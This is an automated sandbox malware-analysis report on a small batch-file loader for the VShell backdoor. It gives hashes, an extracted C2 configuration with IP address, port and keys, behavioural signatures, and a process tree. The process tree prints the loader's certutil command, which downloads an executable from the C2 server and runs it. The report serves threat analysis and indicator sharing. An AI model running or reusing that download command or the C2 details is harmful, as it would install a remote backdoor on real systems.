Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 20:56
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_0f8029c8466a390f47d1d79d1b0e2e38f139fd36ba1d399b82245c8f6ba911c3.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target jaffacakes118_0f8029c8466a390f47d1d79d1b0e2e38f139fd36ba1d399b82245c8f6ba911c3.bat
- Size 512B
- Sample260910-zrd28sef83
- SHA256 0f8029c8466a390f47d1d79d1b0e2e38f139fd36ba1d399b82245c8f6ba911c3
- MD5 9b5cb6d1e7c3e0675fc81ce550022e41
- SHA1 17e2d127a7f77e0ac8c02632b820111f4459f4e2
- SHA512 c2d61e99b6933c31fc40fd2670cbe23fc54de4431e27487c0c9dd5f4d804ef6dd716999194f441d61032dda63f8d746043a30b5c6c41e7915637c247140a020c
- TLSH T187F09ECD08324EFD0FC9C873F4546196B00AB0CCCAA2A5D81B9125DD4E480D936EBBD3
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
107.173.101.114
Attributes
-
port
10000
-
salt
qwWVRFS
-
type
tcp
-
vkey
qwwrvd
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/4272-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 3 3348 certutil.exe 4 3348 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 4272 a47064a2tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5564 cmd.exe 1884 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4928 WMIC.exe 4928 WMIC.exe 4928 WMIC.exe 4928 WMIC.exe 4272 a47064a2tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4928 WMIC.exe Token: SeSecurityPrivilege 4928 WMIC.exe Token: SeTakeOwnershipPrivilege 4928 WMIC.exe Token: SeLoadDriverPrivilege 4928 WMIC.exe Token: SeSystemProfilePrivilege 4928 WMIC.exe Token: SeSystemtimePrivilege 4928 WMIC.exe Token: SeProfSingleProcessPrivilege 4928 WMIC.exe Token: SeIncBasePriorityPrivilege 4928 WMIC.exe Token: SeCreatePagefilePrivilege 4928 WMIC.exe Token: SeBackupPrivilege 4928 WMIC.exe Token: SeRestorePrivilege 4928 WMIC.exe Token: SeShutdownPrivilege 4928 WMIC.exe Token: SeDebugPrivilege 4928 WMIC.exe Token: SeSystemEnvironmentPrivilege 4928 WMIC.exe Token: SeRemoteShutdownPrivilege 4928 WMIC.exe Token: SeUndockPrivilege 4928 WMIC.exe Token: SeManageVolumePrivilege 4928 WMIC.exe Token: 33 4928 WMIC.exe Token: 34 4928 WMIC.exe Token: 35 4928 WMIC.exe Token: 36 4928 WMIC.exe Token: SeIncreaseQuotaPrivilege 4928 WMIC.exe Token: SeSecurityPrivilege 4928 WMIC.exe Token: SeTakeOwnershipPrivilege 4928 WMIC.exe Token: SeLoadDriverPrivilege 4928 WMIC.exe Token: SeSystemProfilePrivilege 4928 WMIC.exe Token: SeSystemtimePrivilege 4928 WMIC.exe Token: SeProfSingleProcessPrivilege 4928 WMIC.exe Token: SeIncBasePriorityPrivilege 4928 WMIC.exe Token: SeCreatePagefilePrivilege 4928 WMIC.exe Token: SeBackupPrivilege 4928 WMIC.exe Token: SeRestorePrivilege 4928 WMIC.exe Token: SeShutdownPrivilege 4928 WMIC.exe Token: SeDebugPrivilege 4928 WMIC.exe Token: SeSystemEnvironmentPrivilege 4928 WMIC.exe Token: SeRemoteShutdownPrivilege 4928 WMIC.exe Token: SeUndockPrivilege 4928 WMIC.exe Token: SeManageVolumePrivilege 4928 WMIC.exe Token: 33 4928 WMIC.exe Token: 34 4928 WMIC.exe Token: 35 4928 WMIC.exe Token: 36 4928 WMIC.exe Token: SeDebugPrivilege 4272 a47064a2tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 5564 wrote to memory of 1884 5564 cmd.exe 88 PID 1884 wrote to memory of 4928 1884 cmd.exe 89 PID 1884 wrote to memory of 4540 1884 cmd.exe 90 PID 5564 wrote to memory of 3348 5564 cmd.exe 93 PID 5564 wrote to memory of 4272 5564 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_0f8029c8466a390f47d1d79d1b0e2e38f139fd36ba1d399b82245c8f6ba911c3.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5564 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4928
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:4540
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\a47064a2tcp.exe"2⤵
- Downloads MZ/PE file
PID:3348
-
-
C:\Users\Public\a47064a2tcp.exe"C:\Users\Public\a47064a2tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4272
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\a47064a2tcp.exe
- Size 3KB
- SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
- MD5 6a1c343bec9f0ae29f493a0a93206542
- SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
- SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
- TLSH T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
- MD5 SHA1 SHA512 TLSH